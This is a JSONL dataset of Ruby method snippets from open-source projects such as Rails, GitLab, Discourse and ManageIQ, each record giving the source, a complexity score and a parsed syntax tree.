{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan/dispatcher.rb","start_line":179,"raw_source":"def busy_resources_for_embedded_scanning\n      return @busy_resources_for_embedded_scanning_hash unless @busy_resources_for_embedded_scanning_hash.nil?\n\n      _log.debug(\"Initializing busy_resources_for_embedding_scanning hash\")\n      @busy_resources_for_embedded_scanning_hash ||= {}\n\n      vms_in_embedded_scanning =\n        Job.where(:dispatch_status => \"active\")\n           .where(:target_class => \"VmOrTemplate\")\n           .where.not(:state => \"finished\")\n           .pluck(:target_id).compact.uniq\n      return @busy_resources_for_embedded_scanning_hash if vms_in_embedded_scanning.blank?\n\n      embedded_scans_by_resource = Hash.new { |h, k| h[k] = 0 }\n      VmOrTemplate.where(:id => vms_in_embedded_scanning).each do |v|\n        key = embedded_scan_resource(v)\n        embedded_scans_by_resource[key] += 1 if key\n      end\n\n      @busy_resources_for_embedded_scanning_hash = embedded_scans_by_resource\n    end","complexity_score":31.63,"ast_json":"{\"type\":\"def\",\"children\":[\"busy_resources_for_embedded_scanning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_resources_for_embedded_scanning_hash\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_resources_for_embedded_scanning_hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Initializing busy_resources_for_embedding_scanning hash\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@busy_resources_for_embedded_scanning_hash\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"vms_in_embedded_scanning\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Job\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dispatch_status\"]},{\"type\":\"str\",\"children\":[\"active\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_class\"]},{\"type\":\"str\",\"children\":[\"VmOrTemplate\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]},\"compact\"]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vms_in_embedded_scanning\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@busy_resources_for_embedded_scanning_hash\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"embedded_scans_by_resource\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"vms_in_embedded_scanning\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"embedded_scan_resource\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_scans_by_resource\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@busy_resources_for_embedded_scanning_hash\",{\"type\":\"lvar\",\"children\":[\"embedded_scans_by_resource\"]}]}]}]}","id":"40c1234e-cbfc-450d-ab13-f34c7d7f4ff2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250505050610_optimized_image_format_index.rb","start_line":3,"raw_source":"def up\n    remove_index :optimized_images, name: \"index_optimized_images_on_upload_id_and_width_and_height\"\n    add_index :optimized_images,\n              %i[upload_id width height extension],\n              name: \"index_optimized_images_unique\",\n              unique: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"optimized_images\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_optimized_images_on_upload_id_and_width_and_height\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"optimized_images\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_id\"]},{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"sym\",\"children\":[\"extension\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_optimized_images_unique\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"652efc4b-49e3-4e24-a140-fe7ef55e81f3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/actions.rb","start_line":9,"raw_source":"def set_application_directory!\n        Dir.chdir(File.expand_path(\"../..\", APP_PATH)) unless File.exist?(File.expand_path(\"config.ru\"))\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_application_directory!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"config.ru\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../..\"]},{\"type\":\"const\",\"children\":[null,\"APP_PATH\"]}]}]}]}]}","id":"dd3d586f-7a7b-4c05-bcad-86bcc8dd6071"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/in_tail/test_position_file.rb","start_line":9,"raw_source":"def setup\n    Tempfile.create('intail_position_file_test') do |file|\n      file.binmode\n      @file = file\n      yield\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"create\",{\"type\":\"str\",\"children\":[\"intail_position_file_test\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"binmode\"]},{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"8b98ba79-a94f-49d6-9c6f-73c72256c889"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/merge_request_changes.rb","start_line":18,"raw_source":"def diff_collection(compare)\n        @diffs ||= if expose_raw_diffs?\n                     compare.raw_diffs(limits: false)\n                   else\n                     compare.diffs.diffs\n                   end\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compare\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diffs\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expose_raw_diffs?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compare\"]},\"raw_diffs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limits\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compare\"]},\"diffs\"]},\"diffs\"]}]}]}]}","id":"c12d1e1c-0f24-4578-9bce-d4684b9e8176"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_test_case.rb","start_line":199,"raw_source":"def respond_to_missing?(name, include_private = false)\n        url_helpers.respond_to?(name)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"87fcbbc6-e8b8-4bb9-be35-9b5fb3b7a3b5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/watched_words.rb","start_line":14,"raw_source":"def translation_data\n    { action: invalid_regexp_actions.map { |w| \"'#{w}'\" }.join(\", \") }\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"translation_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid_regexp_actions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}","id":"0158a816-b8ac-4dd5-88bf-80ff87a8be9f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/support/settings.rb","start_line":27,"raw_source":"def initialize(yaml)\n      @data_dir = yaml[\"data_dir\"]\n      @split_regex = Regexp.new(yaml[\"split_regex\"]) unless yaml[\"split_regex\"].empty?\n      @batch_size = 1000 # no need to make this actually configurable at the moment\n      @trust_level = yaml[\"default_trust_level\"]\n      @prefer_html = yaml[\"prefer_html\"]\n      @staged = yaml[\"staged\"]\n      @index_only = yaml[\"index_only\"]\n      @group_messages_by_subject = yaml[\"group_messages_by_subject\"]\n\n      if yaml[\"remove_subject_prefixes\"].present?\n        prefix_regexes = yaml[\"remove_subject_prefixes\"].map { |p| Regexp.new(p) }\n        @subject_prefix_regex = /^#{Regexp.union(prefix_regexes).source}/i\n      end\n\n      @automatically_remove_list_name_prefix = yaml[\"automatically_remove_list_name_prefix\"]\n      @show_trimmed_content = yaml[\"show_trimmed_content\"]\n      @fix_mailman_via_addresses = yaml[\"fix_mailman_via_addresses\"]\n      @elide_equals_in_addresses = yaml[\"elide_equals_in_addresses\"]\n\n      @tags = []\n      if yaml[\"tags\"].present?\n        yaml[\"tags\"].each do |tag_name, value|\n          prefixes = Regexp.union(value).source\n          @tags << {\n            regex: /^(?:(?:\\[(?:#{prefixes})\\])|(?:\\((?:#{prefixes})\\)))\\s*/i,\n            name: tag_name,\n          }\n        end\n      end\n    end","complexity_score":54.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"yaml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data_dir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"split_regex\"]}]},\"empty?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@split_regex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"split_regex\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@batch_size\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"ivasgn\",\"children\":[\"@trust_level\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_trust_level\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefer_html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"prefer_html\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@staged\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"staged\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@index_only\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"index_only\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@group_messages_by_subject\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_messages_by_subject\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"remove_subject_prefixes\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix_regexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"remove_subject_prefixes\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@subject_prefix_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"lvar\",\"children\":[\"prefix_regexes\"]}]},\"source\"]}]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@automatically_remove_list_name_prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"automatically_remove_list_name_prefix\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@show_trimmed_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"show_trimmed_content\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fix_mailman_via_addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fix_mailman_via_addresses\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@elide_equals_in_addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"elide_equals_in_addresses\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefixes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(?:(?:\\\\[(?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]},{\"type\":\"str\",\"children\":[\")\\\\])|(?:\\\\((?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]},{\"type\":\"str\",\"children\":[\")\\\\)))\\\\s*\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]}]}]},null]}]}]}","id":"bb40dd83-c4c9-48fd-ac8a-6e503afa3352"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/tabular_form_builder.rb","start_line":185,"raw_source":"def fields_for_custom_fields(record_name, record_object = nil, options = {}, &)\n    options_with_defaults = options.merge(builder: CustomFieldFormBuilder)\n\n    fields_for(record_name, record_object, options_with_defaults, &)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_for_custom_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record_name\"]},{\"type\":\"optarg\",\"children\":[\"record_object\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options_with_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builder\"]},{\"type\":\"const\",\"children\":[null,\"CustomFieldFormBuilder\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fields_for\",{\"type\":\"lvar\",\"children\":[\"record_name\"]},{\"type\":\"lvar\",\"children\":[\"record_object\"]},{\"type\":\"lvar\",\"children\":[\"options_with_defaults\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"35336089-fe45-42cc-9fc6-83aef72b74a0"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/forem_tag.rb","start_line":15,"raw_source":"def self.process_input(input)\n    stripped_input = ActionController::Base.helpers.strip_tags(input).strip\n    CGI.unescape_html(stripped_input)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stripped_input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"strip_tags\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape_html\",{\"type\":\"lvar\",\"children\":[\"stripped_input\"]}]}]}]}","id":"3e43b232-0c36-4374-835e-3ca915d6fea0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/group_api_compatibility.rb","start_line":19,"raw_source":"def subgroup_creation_level_str=(value)\n    write_attribute(:subgroup_creation_level, ::Gitlab::Access.subgroup_creation_string_options.fetch(value))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"subgroup_creation_level_str=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"subgroup_creation_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"subgroup_creation_string_options\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"95f47b49-be10-4442-93c0-4f4f1bc44d20"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":1095,"raw_source":"def test_update_attribute_for_updated_at_on!\n    developer = Developer.find(1)\n    prev_month = Time.now.prev_month.change(usec: 0)\n\n    developer.update_attribute!(:updated_at, prev_month)\n    assert_equal prev_month, developer.updated_at\n\n    developer.update_attribute!(:salary, 80001)\n    assert_not_equal prev_month, developer.updated_at\n\n    developer.reload\n    assert_not_equal prev_month, developer.updated_at\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_attribute_for_updated_at_on!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prev_month\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"prev_month\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"update_attribute!\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"prev_month\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"prev_month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"update_attribute!\",{\"type\":\"sym\",\"children\":[\"salary\"]},{\"type\":\"int\",\"children\":[80001]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"prev_month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"prev_month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"updated_at\"]}]}]}]}","id":"9629285a-ee97-4749-9812-c8c9ba9ca98a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/pipeline_test_report_builder.rb","start_line":138,"raw_source":"def fetch(uri_str)\n    uri = URI(uri_str)\n\n    puts \"[PipelineTestReportBuilder] URL: #{uri}\"\n\n    request = Net::HTTP::Get.new(uri)\n\n    body = ''\n\n    Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|\n      http.request(request) do |response|\n        case response\n        when Net::HTTPSuccess\n          body = response.read_body\n        else\n          raise \"[PipelineTestReportBuilder] Unexpected response: #{response.value}\"\n        end\n      end\n    end\n\n    JSON.parse(body)\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"uri_str\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[PipelineTestReportBuilder] URL: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Get\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_ssl\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPSuccess\"]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"read_body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[PipelineTestReportBuilder] Unexpected response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"83b02fdb-5238-4a94-ac64-332fb5987d59"}
